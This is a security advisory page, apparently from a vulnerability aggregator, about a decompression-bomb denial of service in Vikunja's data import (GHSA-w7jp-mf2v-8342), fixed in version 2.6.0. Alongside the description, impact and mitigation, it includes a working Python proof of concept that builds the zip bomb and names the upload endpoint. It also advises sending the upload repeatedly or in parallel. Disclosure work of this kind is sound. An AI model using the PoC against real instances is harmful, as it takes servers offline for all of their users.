Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹 Go
Not in CISA KEV

Vikunja: Denial of service via decompression bomb in the data importGHSA-w7jp-mf2v-8342

Fix: go-vikunja/vikunja#3688

GHSA-w7jp-mf2v-8342 is a Uncontrolled Resource Consumption vulnerability in code.vikunja.io/api. A fix is available for code.vikunja.io/api — see the affected versions and patch details below.

Also known asCVE-2026-91979GO-2026-6756
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 30, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

No confirmed exploitation observed yet

  • CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.

Exploitation and automatability from CISA’s SSVC triage for GHSA-w7jp-mf2v-8342.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs38th percentile — riskier than 38% of all scored CVEsHighest risk
0.00%0.31%0.62%0.94%0.4%0.4%Oct 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

1 pkg affected
🐹code.vikunja.io/api

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Vikunja lets you export your data as a zip and import it back. The import doesn't limit how large the archive expands to, how many files it contains, or how much storage one user can consume, and it appears to hold the whole archive in memory while processing it. Because the archive is compressed, a ~20 MB upload made of highly compressible content expands to tens of gigabytes once imported. A single crafted upload is enough to exhaust the server's memory or fill its disk and knock the whole instance offline. It can be repeated or run in parallel, since nothing stops a user from starting several imports at once.

Details

The import accepts an archive in the same layout the built-in export produces: a manifest describing projects and tasks, plus the attachment files those tasks reference. Each individual file inside the archive is size-checked, but there's no ceiling on the total uncompressed size or on the number of files, and there's no per-user storage quota anywhere. On top of that, the server seems to buffer every attachment in memory before writing it out, so the peak memory cost is the sum of all decompressed files at once, not one at a time.

Compression is the key factor: a file full of a repeating byte (e.g. zeroes) shrinks by roughly a thousand to one. So an archive that fits under the upload size limit (around 20 MB) can describe on the order of a thousand ~20 MB attachments, which the server then expands to tens of gigabytes in RAM and writes to disk. When memory runs out the process is killed; when the disk fills, the instance (and anything else on that host) stops working. Nothing serialises imports, so a user can also fire several in parallel to reach the limit faster.

The fix is to cap the total uncompressed size and the file count per archive, stream each file to disk instead of buffering them all in memory, enforce a per-user storage quota, and refuse a new import while one is already running for that user.

PoC

The attacker needs an ordinary account that can use the import feature.

  1. Build a zip in the export format containing one project with for example ~200 tasks, each referencing an attachment, and ~200 attachment files, each 18 MB of zero bytes. Filled with zeroes, the whole thing compresses to roughly 4 MB (under the upload limit).
#!/usr/bin/env python3
import argparse, json, os, zipfile

CHUNK = b"\0" * (1024 * 1024)

def build(out, n, size, version):
    tasks = [{"title": f"t{i}", "attachments": [{"file": {"id": i, "name": "a"}}]}
             for i in range(1, n + 1)]
    data = json.dumps([{"title": "bomb", "tasks": tasks, "child_projects": []}]).encode()

    with zipfile.ZipFile(out, "w", zipfile.ZIP_DEFLATED, compresslevel=9) as z:
        z.writestr("VERSION", version)
        z.writestr("data.json", data)
        for i in range(1, n + 1):
            with z.open(f"files/{i}", "w") as f:
                for _ in range(size):
                    f.write(CHUNK)

    raw = n * size * 1024**2
    print(f"[+] {out}: {os.path.getsize(out)/1024**2:.2f} MiB "
          f"({raw/1024**3:.1f} GiB uncompressed)")

p = argparse.ArgumentParser()
p.add_argument("-o", "--out", default="bomb.zip")
p.add_argument("-n", "--files", type=int, default=200)
p.add_argument("-s", "--size-mib", type=int, default=18)
p.add_argument("--version", default="v2.5.0")
a = p.parse_args()
build(a.out, a.files, a.size_mib, a.version)
  1. Upload it to the import endpoint:
PUT /api/v1/migration/vikunja-file/migrate
(multipart file upload: the crafted zip)
  1. Watch the server. Memory climbs into 3.5 GB within seconds and the disk fills with the expanded files. On a typical host the process is OOM-killed or the disk fills, and the instance stops responding for everyone. Repeat, or send several uploads at once, to reach the limit reliably.

(You can derive the exact archive layout in step 1 by first exporting your own data once and inspecting the zip it hands back.)

Impact

Denial of service (availability). One authenticated user, with a single upload, can drive the server into tens of GB of memory and disk usage, killing the process or filling the disk. This takes the whole instance down for every user, and if the disk is shared with other services on the host, those go down too. No admin rights and no victim interaction are required, any account that can import data is enough. Recovery needs an operator to reclaim memory/disk and clear the partially written import.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gocode.vikunja.io/apiall versions2.6.0go get code.vikunja.io/api@v2.6.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for code.vikunja.io/api, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update code.vikunja.io/api to 2.6.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-w7jp-mf2v-8342 is resolved across your whole dependency graph.

  3. Workarounds

    Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.

Frequently Asked Questions

### Summary Vikunja lets you export your data as a zip and import it back. The import doesn't limit how large the archive expands to, how many files it contains, or how much storage one user can consume, and it appears to hold the whole archive in memory while processing it. Because the archive is compressed, a ~20 MB upload made of highly compressible content expands to tens of gigabytes once imported. A single crafted upload is enough to exhaust the server's memory or fill its disk and knock the whole instance offline. It can be repeated or run in parallel, since nothing stops a user from st
O3 Security · Impact-Aware SCA

Is GHSA-w7jp-mf2v-8342 in your dependencies?

Find it across Go, including transitive dependencies.

Vikunja: Denial of service via decompression bomb in the…